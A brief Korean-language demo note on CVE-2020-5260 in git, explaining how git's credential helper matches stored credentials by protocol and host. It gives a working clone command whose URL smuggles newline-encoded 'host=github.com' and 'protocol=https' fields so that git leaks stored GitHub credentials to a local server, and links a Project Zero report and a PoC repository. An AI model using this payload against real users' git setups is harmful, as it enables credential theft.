CVE-2020-5260

CVE-2020-5260 데모 기록

• git은 'git clone https://example.com'과 같은 명령을 실행할 때, 프로토콜 'https'를 사용하여 호스트 'example.com'의 자격 증명을 저장하도록 요청하고, 원격 측에서 인증을 요청할 때 반환된 자격 증명을 발신 요청에 첨부합니다.

git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https

참고 링크:

https://bugs.chromium.org/p/project-zero/issues/detail?id=2021

https://github.com/brompwnie/cve-2020-5260